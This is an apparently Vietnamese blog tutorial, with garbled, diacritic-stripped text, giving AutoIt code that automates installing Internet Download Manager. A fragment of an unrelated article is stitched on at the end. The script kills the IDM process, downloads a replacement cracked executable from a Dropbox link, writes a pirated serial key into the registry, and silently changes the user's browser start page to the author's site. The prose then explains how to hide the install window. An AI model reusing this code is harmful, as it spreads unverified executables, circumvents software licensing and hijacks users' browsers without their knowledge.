ProcessWait('IDMan.exe') ; Tm ngng script cho n khi process IDMan xut hinProcessClose('IDMan.exe') ; Kill process IDMan tin hnh crack
;######### Ti bn Crack IDM 6.12 build 22 v ng k serial ##############_InetGetProgress('https://dl.dropbox.com/u/55630051/IDMan.exe', 'C:\Program Files\Internet Download Manager')RegWrite('HKEY_LOCAL_MACHINE\SOFTWARE\Internet Download Manager',"FName", "REG_SZ","Blog Autoit Viet - Yagami Raito's Blog")RegWrite('HKEY_LOCAL_MACHINE\SOFTWARE\Internet Download Manager',"LName", "REG_SZ","(http://hocautoit.co.cc)")RegWrite('HKEY_LOCAL_MACHINE\SOFTWARE\Internet Download Manager',"Serial", "REG_SZ","BGL4H-HJBXT-ABSUD-R31QJ")RegWrite('HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main',"Start Page", "REG_SZ","http://hocautoit.co.cc");#########################################################################
ShellExecute('C:\Program Files\Internet Download Manager\IDMan.exe') ; Chy chng trnh IDM
WinWaitActive('IDM browser integration','',5)ControlFocus('IDM browser integration','','[CLASS:Button; INSTANCE:1]')ControlClick('IDM browser integration','','[CLASS:Button; INSTANCE:1]','left')
Func _InetGetProgress($sURL, $sDirectory = @ScriptDir) Local $hDownload, $iBytesRead = 0, $iFileSize, $iPercentage, $iSpeed = 0, $iTimer = 0, $sFilePath, $sProgressText, $sSpeed $sFilePath = StringRegExpReplace($sURL, "^.*/", "") If @error Then Return SetError(1, 0, $sFilePath) EndIf
$sDirectory = StringRegExpReplace($sDirectory, "[\\/]+\z", "") & "\" & $sFilePath $iFileSize = InetGetSize($sURL, 1) $hDownload = InetGet($sURL, $sDirectory, 0, 1) If @error Then Return SetError(1, 0, $sFilePath) EndIf ProgressOn("", "")
$sSpeed = "Current Speed: " & _ByteSuffix($iBytesRead - $iSpeed) & "/s" $iTimer = TimerInit() While InetGetInfo($hDownload, 2) = 0 $iBytesRead = InetGetInfo($hDownload, 0) $iPercentage = $iBytesRead * 100 / $iFileSize $sProgressText = "Downloading " & _ByteSuffix($iBytesRead, 0) & " Of " & _ByteSuffix($iFileSize, 0) & @LF & $sSpeed ProgressSet(Round($iPercentage, 0), $sProgressText, "Downloading: " & $sFilePath)
If TimerDiff($iTimer) > 1000 Then $sSpeed = "Current Speed: " & _ByteSuffix($iBytesRead - $iSpeed) & "/s" $iSpeed = $iBytesRead $iTimer = TimerInit() EndIf Sleep(100) WEnd InetClose($hDownload) ProgressOff() Return $sFilePathEndFunc ;==>_InetGetProgress
; #INTERNAL_USE_ONLY#============================================================================================================Func _ByteSuffix($iBytes, $iRound = 2) Local $A, $aArray[9] = [" B", " KB", " MB", " GB", " TB", " PB", " EB", " ZB", " YB"] While $iBytes > 1023 $A += 1 $iBytes /= 1024 WEnd Return Round($iBytes, $iRound) & $aArray[$A]EndFunc ;==>_ByteSuffix; #INTERNAL_USE_ONLY#============================================================================================================
Chy xong chng trnh cc bn s nhn ra l ca s ci t vn hin phi khng ? , y l do mnh mun hin ca s cho cc bn c th theo di cc tc v t ng mnh ha cho m ngun ...
Nu mun bin chng trnh ny thnh silent install , cc bn ch n gin l n icon v cc ca s ci t IDM l hon tt , thc hin nh sau : Thm #NotrayIcon vo dng u tin ca code Thay ShellExecute(@ScriptDir&'\'&$vername&'.exe') thnh ShellExecute(@ScriptDir&'\'&$vername&'.exe','','','',@SW_HIDE)Vy l ta hon thnh xong bi 11: T ng ha ci t phn mm IDM , vi vic ci t cc phn mm khc , cc bn lm hon ton tng t nh IDM ^^
bi sau mnh s hng dn cc bn cch vit mt phn mm tr li t ng tin nhn Yahoo theo ni dung son sn , cc bn nh n xem v theo di ^^Phng php hc lp trnh hiu qu
Ton mn hnhIn bi vit
Phng php hc lp trnh hiu qu
Thc ra tiu ca bi vit cng khng thc s chnh xc vi ni dung ca bi, nhng ti cng chng bit t tiu th no th hp l hn. Nhng di dng cht th l di y l mt s kinh nghim c nhn ca ti trong qu trnh hc lp trnh web. Ti mun chia s vi cc bn mi bt u cc bn rt ra c nhng bi hc t kinh nghim ca ti.
Ni trc rng hc